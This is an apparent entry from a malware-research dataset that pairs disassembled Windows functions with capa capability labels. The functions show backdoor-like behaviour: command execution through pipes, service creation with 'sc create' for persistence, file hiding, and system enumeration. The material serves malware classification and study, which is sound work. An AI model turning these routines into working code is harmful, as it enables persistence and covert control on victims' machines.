joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e4e9
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, 0x43e8cd
call fcn.0042eda4
sub esp, 0x2c
mov eax, dword [0x456d70]
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push esi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], 0xf
call fcn.00406f49
push esi
push 0x80
push 3
push esi
push esi
push closesocket
push dword [ebp + 0xc]
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
or dword [ebp - 0x38], 0xffffffff
push eax
mov dword [ebp - 0x34], eax
call fcn.0041c7ff
pop ecx
push esi
mov ebx, eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x34]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
lea ecx, [ebp - 0x30]
call fcn.0040d325
push ebx
call fcn.0042d959
pop ecx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
call fcn.0040d2ff
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.00409968
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042d7f1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e80c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov eax, 0x4238
lea ebp, [esp - 0x41b8]
call fcn.0042ffb0
mov eax, dword [0x456d70]
push ebx
push esi
push edi
push 0x40
mov dword [ebp + 0x41b4], eax
pop ecx
xor eax, eax
xor ebx, ebx
mov byte [ebp + 0x40b0], bl
lea edi, [ebp + 0x40b1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp + 0x40b0]
push eax
push dword [ebp + 0x41c4]
mov edi, 0x3fff
mov dword [ebp - 0x60], 0x104
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x5c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x54], ebx
je 0x40e8fa
xor esi, esi
cmp dword [ebp - 0x54], ebx
jbe 0x40e8f4
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp + 0x3fb0]
push eax
push esi
push dword [ebp + 0x41c4]
mov dword [ebp - 0x64], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x40e8e6
mov ecx, dword [ebp + 0x41c0]
push 0x443490
call fcn.0040ce51
mov ecx, dword [ebp + 0x41c0]
lea eax, [ebp + 0x3fb0]
push eax
call fcn.0040ce51
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp - 0x54]
jb 0x40e89a
mov byte [ebp + 0x3fb0], bl
cmp dword [ebp - 0x58], ebx
je 0x40e984
xor esi, esi
cmp dword [ebp - 0x58], ebx
jbe 0x40e984
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push dword [ebp + 0x41c4]
mov dword [ebp - 0x5c], edi
mov byte [ebp - 0x50], bl
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x40e976
lea eax, [ebp - 0x50]
push eax
lea eax, [esi + 1]
push eax
push str.__d___s_n
call fcn.0042ffed
mov ecx, dword [ebp + 0x41c0]
add esp, 0xc
push 0x44347c
call fcn.0040ce51
lea eax, [ebp - 0x50]
push eax
call fcn.0042d620
test eax, eax
pop ecx
mov ecx, dword [ebp + 0x41c0]
jne 0x40e96d
push str._Default_
jmp 0x40e971
lea eax, [ebp - 0x50]
push eax
call fcn.0040ce51
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp - 0x58]
jb 0x40e90a
mov ecx, dword [ebp + 0x41b4]
pop edi
pop esi
pop ebx
call fcn.0042d7f1
add ebp, 0x41b8
leave
ret
Function at 0x40ec28
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x43e97d
call fcn.0042eda4
mov eax, 0x1f50
call fcn.0042ffb0
mov eax, dword [0x456d70]
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x28], 0x10
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], 1
jae 0x40ec57
lea eax, [ebp + 0x14]
push ebx
lea ecx, [ebp - 0x1f54]
push ecx
push 0xf013f
xor ebx, ebx
push ebx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ecb7
cmp dword [ebp + 0x44], 0x10
mov eax, dword [ebp + 0x30]
mov dword [ebp - 0x1f58], 0x1f40
jae 0x40ec8b
lea eax, [ebp + 0x30]
lea ecx, [ebp - 0x1f58]
push ecx
lea ecx, [ebp - 0x1f50]
push ecx
lea ecx, [ebp - 0x1f5c]
push ecx
push ebx
push eax
push dword [ebp - 0x1f54]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x1f50]
push eax
jmp 0x40ecbc
push str.Couldnt_access_system_information_
mov ecx, dword [ebp + 8]
call fcn.0040d325
push dword [ebp - 0x1f54]
mov byte [ebp - 0x1f50], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 1
lea ecx, [ebp + 0x10]
mov dword [ebp - 0x1f54], ebx
call fcn.00409968
push ebx
push 1
lea ecx, [ebp + 0x2c]
call fcn.00409968
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0042d7f1
leave
ret
Function at 0x40fc66
Capabilities:
Enumerate files on windows

Disassembly:
mov eax, 0x43eb32
call fcn.0042eda4
sub esp, 0x28c
mov eax, dword [0x456d70]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0xf
pop esi
xor edi, edi
push edi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esi
call fcn.00406f49
push edi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], edi
mov dword [ebp - 0x34], esi
call fcn.00406f49
push str..
push dword [ebp + 0x10]
lea eax, [ebp - 0x258]
push eax
mov byte [ebp - 4], 1
call fcn.0040e234
add esp, 0xc
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 2
call fcn.0040c660
push edi
push 1
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 1
call fcn.00409968
cmp dword [ebp - 0x34], 0x10
mov eax, dword [ebp - 0x48]
jae 0x40fced
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x1a0]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x23c], eax
je 0x40fd7d
cmp byte [ebp - 0x174], 0x2e
mov byte [ebp - 4], 4
je 0x40fd52
push 0xffffffffffffffff
push edi
lea ecx, [ebp - 0x30]
call fcn.00409a0d
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040d325
test byte [ebp - 0x1a0], 0x10
je 0x40fdac
mov ecx, dword [ebp + 8]
push 0xffffffffffffffff
push edi
lea eax, [ebp - 0x30]
push eax
call fcn.0040ba68
mov ecx, dword [ebp + 8]
push 0x4435e4
call fcn.0040ce51
lea eax, [ebp - 0x1a0]
push eax
push dword [ebp - 0x23c]
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp eax, 1
je 0x40fd06
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
lea ecx, [ebp - 0x4c]
push 1
call fcn.00409968
push edi
lea ecx, [ebp - 0x30]
push 1
call fcn.00409968
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor eax, eax
call fcn.0042d7f1
pop edi
pop esi
pop ebx
leave
ret
push 0x44313c
push dword [ebp + 0x10]
lea eax, [ebp - 0x274]
push eax
mov byte [ebp - 4], 5
call fcn.0040e234
add esp, 0xc
lea ecx, [ebp - 0x174]
push ecx
push eax
lea eax, [ebp - 0x258]
push eax
mov byte [ebp - 4], 6
call fcn.0040e234
add esp, 0xc
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 7
call fcn.0040c660
push edi
push 1
lea ecx, [ebp - 0x258]
call fcn.00409968
push edi
push 1
lea ecx, [ebp - 0x274]
call fcn.00409968
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40fe1a
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x298]
push ecx
push eax
call fcn.0043dc96
lea eax, [ebp - 0x27c]
push eax
call fcn.00430d03
push eax
push str.__Y__m__d
lea eax, [ebp - 0x238]
push 0x96
push eax
call fcn.00430ce8
push dword [ebp - 0x184]
mov eax, dword [ebp - 0x180]
push eax
lea eax, [ebp - 0x60]
push str._I64u
push eax
call fcn.0042e20e
add esp, 0x2c
jmp 0x40fe91
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x174]
push eax
mov ecx, esi
mov dword [ebp - 4], 4
call fcn.0040ce51
mov ebx, 0x4433b8
push ebx
mov ecx, esi
call fcn.0040ce51
lea eax, [ebp - 0x238]
push eax
mov ecx, esi
call fcn.0040ce51
push ebx
mov ecx, esi
call fcn.0040ce51
lea eax, [ebp - 0x60]
push eax
mov ecx, esi
call fcn.0040ce51
mov ecx, esi
jmp 0x40fd48
Function at 0x41002e
Capabilities:
Get disk information

Disassembly:
mov eax, 0x43eb79
call fcn.0042eda4
sub esp, 0x110
mov eax, dword [0x456d70]
push ebx
push esi
push edi
push 0xf
pop esi
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], esi
call fcn.00406f49
push ebx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], esi
call fcn.00406f49
mov ecx, dword [ebp + 8]
mov esi, 0x442e07
push esi
mov byte [ebp - 4], 1
call fcn.0040d325
mov dword [ebp - 0xf0], 0x62
mov dword [ebp - 0xf4], 0x18
mov edi, 0x443458
push dword [ebp - 0xf0]
lea eax, [ebp - 0xec]
push edi
push eax
call fcn.0042e20e
lea eax, [ebp - 0xec]
push 0x443664
push eax
call fcn.0042dbe0
add esp, 0x14
lea eax, [ebp - 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
je 0x41020e
push 0x19
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0xfc]
push eax
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0xf8]
push eax
push 0x64
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0xec]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, ebx
je 0x41020e
push dword [ebp - 0xf0]
lea eax, [ebp - 0xec]
push edi
push eax
call fcn.0042e20e
lea eax, [ebp - 0xec]
push 0x443660
push eax
call fcn.0042dbe0
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0x68]
push 0x44365c
push eax
call fcn.0042e20e
add esp, 0x20
push esi
lea ecx, [ebp - 0x48]
call fcn.0040d325
push esi
lea ecx, [ebp - 0x2c]
call fcn.0040d325
lea eax, [ebp - 0xec]
push eax
lea ecx, [ebp - 0x11c]
call fcn.0040d800
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 2
call fcn.0040fc66
add esp, 0x10
push ebx
push 1
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 1
call fcn.00409968
push 0x443518
lea ecx, [ebp - 0x48]
call fcn.0040ce51
push 0x44364c
lea ecx, [ebp - 0x2c]
call fcn.0040ce51
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0x68]
push str._s__s
push eax
call fcn.0042e20e
mov ecx, dword [ebp + 8]
add esp, 0x10
lea eax, [ebp - 0x68]
push eax
call fcn.0040ce51
mov ecx, dword [ebp + 8]
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x2c]
push eax
call fcn.0040ba68
mov ecx, dword [ebp + 8]
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x48]
push eax
call fcn.0040ba68
mov ecx, dword [ebp + 8]
push 0x443520
call fcn.0040ce51
inc dword [ebp - 0xf0]
dec dword [ebp - 0xf4]
jne 0x410094
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00409968
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.00409968
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0042d7f1
leave
ret
Function at 0x41024d
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov eax, 0x43ebb9
call fcn.0042eda4
push ecx
mov eax, 0x23b4
call fcn.0042ffb0
mov eax, dword [0x456d70]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x2328], ebx
xor esi, esi
inc esi
push 0x442e07
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], esi
call fcn.0040d800
push ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], 0xf
call fcn.00406f49
push 0x443668
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x23c4]
push eax
mov byte [ebp - 4], 4
call fcn.0040e234
add esp, 0xc
lea ecx, [ebp + 0x28]
push ecx
push eax
lea eax, [ebp - 0x23a8]
push eax
mov byte [ebp - 4], 5
call fcn.0040e282
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 6
call fcn.0040c660
push ebx
push esi
lea ecx, [ebp - 0x23a8]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x23c4]
mov byte [ebp - 4], 4
call fcn.00409968
push 0xc
pop edi
push edi
lea eax, [ebp - 0x2338]
push ebx
push eax
call fcn.0042d760
add esp, 0xc
push ebx
lea eax, [ebp - 0x2338]
push eax
lea eax, [ebp - 0x2324]
push eax
lea eax, [ebp - 0x232c]
push eax
mov dword [ebp - 0x2338], edi
mov dword [ebp - 0x2330], esi
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
pop edi
push edi
push ebx
lea eax, [ebp - 0x238c]
push eax
call fcn.0042d760
push 0x10
lea eax, [ebp - 0x2348]
push ebx
push eax
call fcn.0042d760
mov eax, dword [ebp - 0x2324]
add esp, 0x18
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x2350], eax
mov dword [ebp - 0x234c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x238c], edi
mov dword [ebp - 0x2360], 0x100
mov dword [ebp - 0x2354], ebx
jae 0x410390
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x2348]
push ecx
lea ecx, [ebp - 0x238c]
push ecx
push ebx
push ebx
push 0x8000020
push esi
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x2324]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x30]
call fcn.00409a0d
push ebx
push ebx
lea ecx, [ebp - 0x30]
call fcn.0040b845
push ebx
lea eax, [ebp - 0x2328]
push eax
push 0x22d0
lea eax, [ebp - 0x2320]
push eax
push dword [ebp - 0x232c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4103fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 0x2328]
cmp eax, ebx
jne 0x41041b
push dword [ebp - 0x232c]
call edi
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.00409968
jmp 0x410444
mov byte [ebp + eax - 0x2320], bl
lea eax, [ebp - 0x2320]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040ce51
mov byte [ebp - 0x2320], bl
jmp 0x4103d3
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 4], 2
call fcn.0040d2ff
push ebx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp + 0xc]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp + 0x28]
call fcn.00409968
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042d7f1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410515
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x43ebd5
call fcn.0042eda4
sub esp, 0x28
mov eax, dword [0x456d70]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor edi, edi
push str.__c_sc_create
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], edi
call fcn.0040d800
mov eax, dword [0x45d940]
push 0x10
pop esi
cmp dword [0x45d954], esi
mov byte [ebp - 4], 1
jae 0x41055b
mov eax, 0x45d940
push eax
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push str._binPath__
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x45c9f0
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push str.__type_own_type_interact_error_ignore_start_auto_DisplayName__
lea ecx, [ebp - 0x30]
call fcn.0040ce51
cmp dword [0x45d970], esi
mov eax, dword [0x45d95c]
jae 0x41059d
mov eax, 0x45d95c
push eax
lea ecx, [ebp - 0x30]
call fcn.0040ce51
push 0x443670
lea ecx, [ebp - 0x30]
call fcn.0040ce51
cmp dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x2c]
jae 0x4105be
lea eax, [ebp - 0x2c]
push edi
push edi
push eax
push 0x442f08
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, edi
mov dword [ebp - 0x34], edi
jne 0x4105ec
xor esi, esi
jmp 0x410649
cmp dword [0x45d954], esi
mov eax, dword [0x45d940]
jae 0x4105fe
mov eax, 0x45d940
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, 0xf01ff
push edi
push eax
push ebx
call esi
test eax, eax
jne 0x410644
cmp dword [ebp - 0x34], 8
jge 0x410640
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x45d954], 0x10
mov eax, dword [0x45d940]
jae 0x410636
mov eax, 0x45d940
push edi
push eax
push ebx
call esi
inc dword [ebp - 0x34]
jmp 0x41060e
xor esi, esi
jmp 0x410647
xor esi, esi
inc esi
xor edi, edi
push edi
push 1
lea ecx, [ebp - 0x30]
call fcn.00409968
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.0042d7f1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410672
Capabilities:
Create process on windows
Delete service

Disassembly:
mov eax, 0x43e7e7
call fcn.0042eda4
sub esp, 0x20
mov eax, dword [0x456d70]
push edi
push 0xf003f
xor edi, edi
push edi
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, edi
jne 0x4106a2
xor eax, eax
jmp 0x410760
cmp dword [0x45d954], 0x10
mov ecx, dword [0x45d940]
push esi
mov esi, 0x45d940
jae 0x4106b9
mov ecx, esi
push ebx
push 0xf01ff
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, edi
jne 0x4106d4
xor eax, eax
jmp 0x41075e
push str.__c_sc_stop__
lea ecx, [ebp - 0x2c]
call fcn.0040d800
cmp dword [0x45d954], 0x10
mov dword [ebp - 4], edi
jb 0x4106f3
mov esi, dword [0x45d940]
push esi
lea ecx, [ebp - 0x2c]
call fcn.0040ce51
push 0x443670
lea ecx, [ebp - 0x2c]
call fcn.0040ce51
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x410715
lea eax, [ebp - 0x28]
push edi
push edi
push eax
push 0x442f08
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x410743
xor esi, esi
jmp 0x410751
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor esi, esi
test eax, eax
je 0x410751
inc esi
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.00409968
mov eax, esi
pop ebx
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop edi
call fcn.0042d7f1
leave
ret
Function at 0x410775
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov eax, 0x43e7e7
call fcn.0042eda4
sub esp, 0xb0
mov eax, dword [0x456d70]
push ebx
xor ebx, ebx
cmp dword [0x45d934], ebx
mov dword [ebp - 0x10], eax
push esi
jbe 0x410846
cmp dword [0x45d938], 0x10
mov eax, dword [0x45d924]
mov esi, 0x45d924
jae 0x4107b2
mov eax, esi
push 0x442f38
push eax
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
jne 0x410817
call fcn.00410672
call fcn.00410515
test eax, eax
je 0x4108de
push str.__c_sc_start
lea ecx, [ebp - 0x2c]
call fcn.0040d800
push 0xffffffffffffffff
push ebx
push 0x45d93c
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
call fcn.0040ba68
cmp dword [ebp - 0x14], 0x10
mov eax, dword [ebp - 0x28]
jae 0x410801
lea eax, [ebp - 0x28]
push ebx
push ebx
push eax
push 0x442f08
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x410840
cmp dword [0x45d938], 0x10
jb 0x410826
mov esi, dword [0x45d924]
push 0x4436e8
push esi
call fcn.0042dec0
test eax, eax
pop ecx
pop ecx
jne 0x4108de
call fcn.00410672
push ebx
call fcn.0042e553
cmp dword [0x45d954], 0x10
mov eax, dword [0x45d940]
mov esi, 0x45d940
jae 0x41085b
mov eax, esi
push eax
lea eax, [ebp - 0xac]
push eax
call fcn.0042dbd0
lea eax, [ebp - 0xac]
push eax
call fcn.0042d620
mov byte [ebp + eax - 0xac], bl
lea eax, [ebp - 0xac]
mov dword [ebp - 0xbc], eax
add esp, 0xc
lea eax, [ebp - 0xbc]
push eax
mov dword [ebp - 0xb8], 0x40918b
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x4108de
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
je 0x4108de
cmp dword [0x45d954], 0x10
jb 0x4108d1
mov esi, dword [0x45d940]
push 0xf01ff
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.0042d7f1
leave
ret
Function at 0x411f25
Capabilities:
Move file
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x456d70]
push edi
mov edi, dword [ebp + 0x3a0]
mov dword [ebp + 0x394], eax
lea eax, [ebp - 0x80]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp eax, dword [ebp + 0x3a8]
jbe 0x412016
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push dword [ebp + 0x3a4]
call fcn.00401ee8
test al, al
pop ecx
jne 0x411f82
push dword [ebp + 0x3a4]
call fcn.0043dfdd
pop ecx
push dword [ebp + 0x3a4]
lea eax, [ebp - 0x6c]
push 0x443794
push eax
call fcn.0042e20e
movzx ecx, word [ebp - 0x70]
push ecx
movzx ecx, word [ebp - 0x72]
push ecx
movzx ecx, word [ebp - 0x74]
push ecx
movzx ecx, word [ebp - 0x7c]
push ecx
movzx ecx, word [ebp - 0x7a]
push ecx
movzx ecx, word [ebp - 0x76]
push ecx
push 0x457c68
lea eax, [ebp + eax - 0x6c]
push str._s__i._i._i._i._i._i.dat
push eax
call fcn.0042e20e
add esp, 0x30
lea eax, [ebp - 0x6c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push edi
call fcn.00401ee8
test al, al
pop ecx
jne 0x41200d
push esi
push 0x1b6
push 0x2a
mov esi, 0x45d868
push edi
mov ecx, esi
call fcn.0040c7c7
push 0xfeff
mov ecx, 0x45d870
call fcn.0040c3d7
mov ecx, esi
call fcn.004108f4
pop esi
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp + 0x394]
pop edi
call fcn.0042d7f1
add ebp, 0x398
leave
ret

Function at 0x41250e
Capabilities:
Copy file
Delete file
Set file attributes

Disassembly:
mov eax, 0x43ed2e
call fcn.0042eda4
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov edi, 0x45b9f0
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x10]
push str.gKg5XIBmK90TUyMDN1YTWI5kQkUjN
push eax
call fcn.00411c3b
pop ecx
pop ecx
xor esi, esi
cmp dword [eax + 0x18], 0x10
mov dword [esp + 0x34], esi
jb 0x41254d
mov eax, dword [eax + 4]
jmp 0x412550
add eax, 4
push eax
push edi
call fcn.00407aac
or dword [esp + 0x3c], 0xffffffff
pop ecx
pop ecx
push esi
push 1
lea ecx, [esp + 0x18]
mov ebx, eax
call fcn.00409968
push esi
mov esi, 0x45b5f0
push esi
push dword [esp + 0x48]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push esi
call ebp
push esi
push str.TmpZip.sys
push ebx
call fcn.0040abfc
push ebx
call fcn.00405d2e
add esp, 0x10
test al, al
push ebx
je 0x4125ac
call fcn.00408fe0
jmp 0x4125b1
call fcn.0040ac15
pop ecx
push 6
push edi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
leave
ret